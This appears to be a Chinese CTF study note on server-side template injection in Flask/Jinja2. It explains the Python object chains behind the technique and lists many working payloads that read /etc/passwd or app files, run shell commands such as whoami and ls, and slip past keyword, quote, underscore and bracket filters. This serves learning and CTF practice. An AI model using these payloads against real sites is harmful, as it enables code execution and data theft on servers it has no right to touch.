flask
flask框架类型的题目,在最近几次的比赛中经常出现,但是每次出现都会让人苦不堪言,因为实在是不了解该类型的题目,所以有必要花时间总结一下该类型题目的套路
0x1 基础知识
从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎
模板的基本语法
官方文档对于模板的语法介绍如下
1 | {% ... %} for Statements |
常见的魔术方法
__class__
用于返回对象所属的类
1 | Python 3.7.8 |
__base__
以字符串的形式返回一个类所继承的类
__bases__
以元组的形式返回一个类所继承的类
__mro__
获取类的所有子类
__init__
所有自带带类都包含init
方法,常用他当跳板来调用globals
__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init
使用
漏洞成因
存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下
1 | from flask import Flask,request,render_template_string |
提交参数name={{2-1}}
,会显示1,这也是测试ssti的一种常用的方法
下图是常用的测试方法和对应的模板类型
0x2 构造链思路
这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py
做实验
- 第一步
目的:使用__class__
来获取内置类所对应的类
可以通过使用str
,list
,tuple
,dict
等来获取
1 | Python 3.7.8 |
- 第二步
目的:拿到object
基类
用__bases__[0]
拿到基类
1 | Python 3.7.8 |
用__base__
拿到基类
1 | Python 3.7.8 |
用__mro__[1]
或者__mro__[-1]
拿到基类
1 | Python 3.7.8 |
- 第三步
用__subclasses__()
拿到子类列表
1 | Python 3.7.8 |
- 第四步
在子类列表中找到可以getshell的类
然后直接调用里面的方法即可,payload如下
读文件payload
1 | {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} |
命令执行构造
在双大括号我们可以执行表达式,但是命名空间是受限的,没有builtins,所以eval,open这些操作是不能使用的,但根据前面的知识,我们可以通过任意一个函数的func_globals而得到他们的命名空间,而得到builtins
flask内置函数
这种方法之前好像没人提过
Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象
如果过滤了config,又需要查config
通过基类查找子类
虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类
利用
1 | #python2.7 |
等得到object 对象,然后通过__subclasses__()
方法,得到所有子类,在找重载过__inti__,__repr__
等特殊方法的类,利用这些方法的__globals__
得到,__builtins__
,或者os,codecs
等可以进行代码执行的调用.
常见payload
1 | // 59 为warnings.WarningMessag |
不使用globals的payload
1 | // <class 'warnings.catch_warnings'>类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__, |
0x3 过滤绕过
前置知识
- 利用python的魔术方法,也可以实现字典,数组取值等操作
- Jinja2对模板做了特殊处理,所以通过
1 | A['__init__'] |
也可以访问A的方法,属性
Jinja2 的attr 过滤器可以获得对象的属性或方法
flask内置的request对象可以得到请求的信息
1
2
3
4
5request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
关键字过滤
没过滤引号
- 如果没用过滤引号,使用反转,或者各种拼接绕过
1 | {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}} |
过滤了引号
- 利用将需要的变量放在请求中,然后通过[],或者通过
attr
,__getattribute__
获得
如果request被ban,可以考虑通过
拼接需要的字符
查出chr函数,利用set赋值,然后使用
- 利用内置过滤器拼接出,’%c’,再利用’’%语法得到任意字符
1 | get % |
特殊字符过滤
其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过
如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过
如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下
- 拼接字符绕过
这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+
号或者不用
1 | {{()['__cla'+'ss__'].__bases__[0]}} |
随便写个payload如下
1 | {{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}} |
或者可以使用join来进行拼接
1 | {{()|attr(["_"*2,"cla","ss","_"*2]|join)}} |
- 使用使用
str
原生函数
replace
绕过,payload如下
1 | {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}} |
decode
绕过,但这种方法经过测试只能在python2下使用,payload如下
1 | {{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}} |
- 替代的方法
过滤init,可以用__enter__
或__exit__
替代
1 | {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} |
过滤config,如果被过滤了可以使用以下的payload绕过
1 | {{self}} ⇒ <TemplateReference None> |
过滤 [
可以使用__getitem__
和pop
替代中括号,取列表的第n位
1 |
|
过滤双花括号
1 | #用{%%}标记 |
过滤下划线
和过滤字符串一样绕过即可
或编码绕过
使用十六进制编码绕过,_
编码后为\x5f
,.
编码后为\x2E
0x4 实战例子
过滤_
和.
和'
这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoader
的get_data()
方法,第一个是参数0,第二个为要读取的文件名,payload如下
1 | {{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}} |
使用十六进制绕过后,payload如下
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}} |
过滤args
和.
和_
之前安恒二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()
绕过点,values
绕过args
,payload如下
1 | {{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}} |
导入主函数读取变量
有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag
文件加载到flag这个变量里面了
1 | f = open('/flag','r') |
我们就可以通过import
是导入__main__
主函数去读变量,payload如下
1 | {%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %} |
base64编码
对关键字进行base64编码可绕过一些明文检测机制:
1 | import base64 |
过滤了 ', “, [, ], _, 双花括号,args, values
过滤了单双引号导致调用函数时不能直接使用字符串常量,但是可以使用变量传值,比如cookies或者 headers(不能使用get或方法ost),过滤下划线可以使用管道符外加调用attr()方法来绕过。
payload
1 | url?args= |
过滤了', “, [, ], _, 双花括号,values
与上面类似
payload
1 | url?args={%print((()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(132)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g))(request.args.h).read())%}&h=cat |
过滤了', “, [, ], _, 双花括号,args
使用post方法
1 | url?args={%print((()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g))(request.values.h).read())%} |
参考连接: